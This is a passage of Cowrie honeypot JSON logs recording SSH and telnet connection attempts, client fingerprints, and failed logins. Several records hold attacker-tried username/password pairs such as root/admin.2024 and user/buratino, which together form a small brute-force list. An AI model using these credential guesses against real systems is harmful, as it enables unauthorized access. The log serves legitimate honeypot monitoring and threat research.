-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:55:52.235065Z","src_ip":"102.211.152.138","session":"51ef5412de8f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"welcome","message":"login attempt [test/welcome] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:55:52.698620Z","src_ip":"102.211.152.138","session":"51ef5412de8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:55:53.809880Z","src_ip":"102.211.152.138","session":"51ef5412de8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.438310623168945,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:55:55.541134Z","src_ip":"147.124.211.111","session":"57f7eef4c828","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":36948,"dst_ip":"159.203.135.109","dst_port":23,"session":"bc175ed039ac","protocol":"telnet","message":"New connection: 147.124.211.111:36948 (159.203.135.109:23) [session: bc175ed039ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:55:56.149274Z"}
{"eventid":"cowrie.session.closed","duration":30.923360347747803,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:55:56.239945Z","src_ip":"147.124.211.111","session":"c572badbec4b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.365129709243774,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:56:04.855690Z","src_ip":"147.124.211.111","session":"cd5d1c9baa8f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.631009340286255,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:56:06.106795Z","src_ip":"147.124.211.111","session":"707c689415f5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00119423866272,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:56:07.226470Z","src_ip":"182.253.54.171","session":"5bc8180f4474","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":52318,"dst_ip":"10.17.0.5","dst_port":23,"session":"0cb45b78c840","protocol":"telnet","message":"New connection: 137.184.155.248:52318 (10.17.0.5:23) [session: 0cb45b78c840]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:56:08.513551Z"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.54.171","src_port":13521,"dst_ip":"10.17.0.5","dst_port":23,"session":"21fa9d48cc38","protocol":"telnet","message":"New connection: 182.253.54.171:13521 (10.17.0.5:23) [session: 21fa9d48cc38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:56:08.723739Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":44134,"dst_ip":"159.203.135.109","dst_port":23,"session":"c128ea971bd8","protocol":"telnet","message":"New connection: 147.124.211.111:44134 (159.203.135.109:23) [session: c128ea971bd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:56:09.638238Z"}
{"eventid":"cowrie.session.closed","duration":31.242252826690674,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:56:11.879399Z","src_ip":"147.124.211.111","session":"3e59b731b1a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.814101457595825,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:56:12.139267Z","src_ip":"147.124.211.111","session":"65f436a16c24","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.807201385498047,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:56:13.687275Z","src_ip":"147.124.211.111","session":"785e85f6e58a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.114394426345825,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:56:14.254598Z","src_ip":"147.124.211.111","session":"876db16df2f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.4701886177063,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:56:19.381103Z","src_ip":"147.124.211.111","session":"865180843b18","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.98246908187866,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:56:20.750628Z","src_ip":"137.184.155.248","session":"6e6dd3403e0d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.765965700149536,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:56:27.915150Z","src_ip":"147.124.211.111","session":"bc175ed039ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":49560,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a73ea0098da","protocol":"telnet","message":"New connection: 147.124.211.111:49560 (159.203.135.109:23) [session: 8a73ea0098da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:56:33.468059Z"}
{"eventid":"cowrie.session.closed","duration":30.561466693878174,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:56:40.199582Z","src_ip":"147.124.211.111","session":"c128ea971bd8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.22981357574463,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:56:43.186294Z","src_ip":"137.184.155.248","session":"4627f98080fe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"102.211.152.138","src_port":33004,"dst_ip":"159.203.135.109","dst_port":22,"session":"4328232a199c","protocol":"ssh","message":"New connection: 102.211.152.138:33004 (159.203.135.109:22) [session: 4328232a199c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:56:50.928405Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:56:50.933664Z","src_ip":"102.211.152.138","session":"4328232a199c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:56:51.037056Z","src_ip":"102.211.152.138","session":"4328232a199c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin.2024","message":"login attempt [root/admin.2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:56:51.483888Z","src_ip":"102.211.152.138","session":"4328232a199c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:56:52.590189Z","src_ip":"102.211.152.138","session":"4328232a199c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.03882837295532,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:56:53.552274Z","src_ip":"137.184.155.248","session":"0cb45b78c840","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":50096,"dst_ip":"10.17.0.5","dst_port":23,"session":"58c528fbbfe0","protocol":"telnet","message":"New connection: 137.184.155.248:50096 (10.17.0.5:23) [session: 58c528fbbfe0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:56:55.276691Z"}
{"eventid":"cowrie.session.closed","duration":31.2140371799469,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:57:04.681968Z","src_ip":"147.124.211.111","session":"8a73ea0098da","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.244.39.232","src_port":47638,"dst_ip":"10.17.0.5","dst_port":22,"session":"8c00c420cda7","protocol":"ssh","message":"New connection: 190.244.39.232:47638 (10.17.0.5:22) [session: 8c00c420cda7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:57:14.286067Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:57:14.294093Z","src_ip":"190.244.39.232","session":"8c00c420cda7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:57:14.487554Z","src_ip":"190.244.39.232","session":"8c00c420cda7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1z2x3c4v5b","message":"login attempt [ubuntu/1z2x3c4v5b] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:57:15.277037Z","src_ip":"190.244.39.232","session":"8c00c420cda7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:57:16.480031Z","src_ip":"190.244.39.232","session":"8c00c420cda7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.020567178726196,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:57:45.297004Z","src_ip":"137.184.155.248","session":"58c528fbbfe0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"102.211.152.138","src_port":55774,"dst_ip":"159.203.135.109","dst_port":22,"session":"72ecfc120f7a","protocol":"ssh","message":"New connection: 102.211.152.138:55774 (159.203.135.109:22) [session: 72ecfc120f7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:57:46.594490Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:57:46.598941Z","src_ip":"102.211.152.138","session":"72ecfc120f7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:57:46.706472Z","src_ip":"102.211.152.138","session":"72ecfc120f7a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"adminadmin","message":"login attempt [ftpuser/adminadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:57:47.169044Z","src_ip":"102.211.152.138","session":"72ecfc120f7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:57:48.279130Z","src_ip":"102.211.152.138","session":"72ecfc120f7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":42580,"dst_ip":"159.203.135.109","dst_port":22,"session":"e846b8443b5a","protocol":"ssh","message":"New connection: 2.57.121.25:42580 (159.203.135.109:22) [session: e846b8443b5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:57:49.096032Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:57:49.099506Z","src_ip":"2.57.121.25","session":"e846b8443b5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:57:49.200727Z","src_ip":"2.57.121.25","session":"e846b8443b5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"buratino","message":"login attempt [user/buratino] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:57:49.674061Z","src_ip":"2.57.121.25","session":"e846b8443b5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"bulls23","message":"login attempt [user/bulls23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:57:50.775725Z","src_ip":"2.57.121.25","session":"e846b8443b5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"buffys","message":"login attempt [user/buffys] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:57:51.878164Z","src_ip":"2.57.121.25","session":"e846b8443b5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"buffalos","message":"login attempt [user/buffalos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:57:52.998335Z","src_ip":"2.57.121.25","session":"e846b8443b5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"budget","message":"login attempt [user/budget] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:57:54.099314Z","src_ip":"2.57.121.25","session":"e846b8443b5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:57:55.201028Z","src_ip":"2.57.121.25","session":"e846b8443b5a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.90.110.186","src_port":57326,"dst_ip":"10.17.0.5","dst_port":22,"session":"705a2285d999","protocol":"ssh","message":"New connection: 203.90.110.186:57326 (10.17.0.5:22) [session: 705a2285d999]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:57:55.456776Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:57:55.461632Z","src_ip":"203.90.110.186","session":"705a2285d999","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:57:55.681490Z","src_ip":"203.90.110.186","session":"705a2285d999","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"abc1234","message":"login attempt [user/abc1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:57:56.593845Z","src_ip":"203.90.110.186","session":"705a2285d999","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:57:57.816317Z","src_ip":"203.90.110.186","session":"705a2285d999","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":57174,"dst_ip":"10.17.0.5","dst_port":23,"session":"39a17844fb8b","protocol":"telnet","message":"New connection: 137.184.155.248:57174 (10.17.0.5:23) [session: 39a17844fb8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:57:58.427343Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":50722,"dst_ip":"10.17.0.5","dst_port":23,"session":"097610d88328","protocol":"telnet","message":"New connection: 137.184.155.248:50722 (10.17.0.5:23) [session: 097610d88328]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:58:08.095255Z"}
{"eventid":"cowrie.session.closed","duration":120.00091218948364,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:58:08.724537Z","src_ip":"182.253.54.171","session":"21fa9d48cc38","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.54.171","src_port":10582,"dst_ip":"10.17.0.5","dst_port":23,"session":"b2777b8be1ec","protocol":"telnet","message":"New connection: 182.253.54.171:10582 (10.17.0.5:23) [session: b2777b8be1ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:58:09.236140Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":50732,"dst_ip":"10.17.0.5","dst_port":23,"session":"a738c8f3af95","protocol":"telnet","message":"New connection: 137.184.155.248:50732 (10.17.0.5:23) [session: a738c8f3af95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:58:10.656303Z"}
